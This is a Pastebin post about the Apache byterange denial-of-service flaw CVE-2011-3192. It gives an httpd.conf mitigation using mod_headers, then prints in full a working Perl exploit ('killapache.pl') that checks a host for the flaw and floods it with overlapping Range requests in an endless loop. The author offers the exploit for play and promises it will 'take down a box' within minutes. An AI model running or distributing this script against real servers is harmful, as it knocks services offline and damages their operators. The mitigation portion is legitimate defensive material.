Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- There is a nasty little bug out there that affects Apache's byterange filter. The byterange filter in the Apache HTTP Server 1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges.
- More information here:
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
- Luckily there is a workaround for this. First, see if you have mod_headers installed:
- locate mod_headers
- #BEGIN TERMINAL OUTPUT
- [root@apollo ~]# locate mod_headers
- /_restore/102810/usr/lib/httpd/modules/mod_headers.so
- /usr/lib/httpd/modules/mod_headers.so
- #END TERMINAL OUTPUT
- Now, we need to add a few lines to the httpd.conf file. Mine is located at:
- vi /etc/httpd/conf/httpd.conf
- Look for this line:
- LoadModule headers_module modules/mod_headers.so
- Insert this code under "LoadModule headers_module modules/mod_headers.so":
- <IfModule mod_headers.c>
- # Drop the Range header when more than 5 ranges.
- # CVE-2011-3192
- SetEnvIf Range (?:,.*?){5,5} bad-range=1
- RequestHeader unset Range env=bad-range
- # We always drop Request-Range; as this is a legacy
- # dating back to MSIE3 and Netscape 2 and 3.
- RequestHeader unset Request-Range
- # optional logging.
- CustomLog logs/range-CVE-2011-3192.log common env=bad-range
- CustomLog logs/range-CVE-2011-3192.log common env=bad-req-range
- </IfModule>
- The code we added above will drop the Range header request and it's set to log this data.
- Just restart Apache for the settings to take effect:
- /etc/init.d/httpd restart
- Here is the exploit code if you want to play around with it, just save it to a .py file:
- #BEGIN EXPLOIT CODE
- #Apache httpd Remote Denial of Service (memory exhaustion)
- #By Kingcope
- #Year 2011
- #
- # Will result in swapping memory to filesystem on the remote side
- # plus killing of processes when running out of swap space.
- # Remote System becomes unstable.
- #
- use IO::Socket;
- use Parallel::ForkManager;
- sub usage {
- print "Apache Remote Denial of Service (memory exhaustion)\n";
- print "by Kingcope\n";
- print "usage: perl killapache.pl <host> [numforks]\n";
- print "example: perl killapache.pl www.example.com 50\n";
- }
- sub killapache {
- print "ATTACKING $ARGV[0] [using $numforks forks]\n";
- $pm = new Parallel::ForkManager($numforks);
- $|=1;
- srand(time());
- $p = "";
- for ($k=0;$k<1300;$k++) {
- $p .= ",5-$k";
- }
- for ($k=0;$k<$numforks;$k++) {
- my $pid = $pm->start and next;
- $x = "";
- my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
- PeerPort => "80",
- Proto => 'tcp');
- $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
- print $sock $p;
- while(<$sock>) {
- }
- $pm->finish;
- }
- $pm->wait_all_children;
- print ":pPpPpppPpPPppPpppPp\n";
- }
- sub testapache {
- my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
- PeerPort => "80",
- Proto => 'tcp');
- $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
- print $sock $p;
- $x = <$sock>;
- if ($x =~ /Partial/) {
- print "host seems vuln\n";
- return 1;
- } else {
- return 0;
- }
- }
- if ($#ARGV < 0) {
- usage;
- exit;
- }
- if ($#ARGV > 1) {
- $numforks = $ARGV[1];
- } else {$numforks = 50;}
- $v = testapache();
- if ($v == 0) {
- print "Host does not seem vulnerable\n";
- exit;
- }
- while(1) {
- killapache();
- }
- #END EXPLOIT CODE
- This will take down a box within a matter of minutes, if not, seconds. Have fun!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement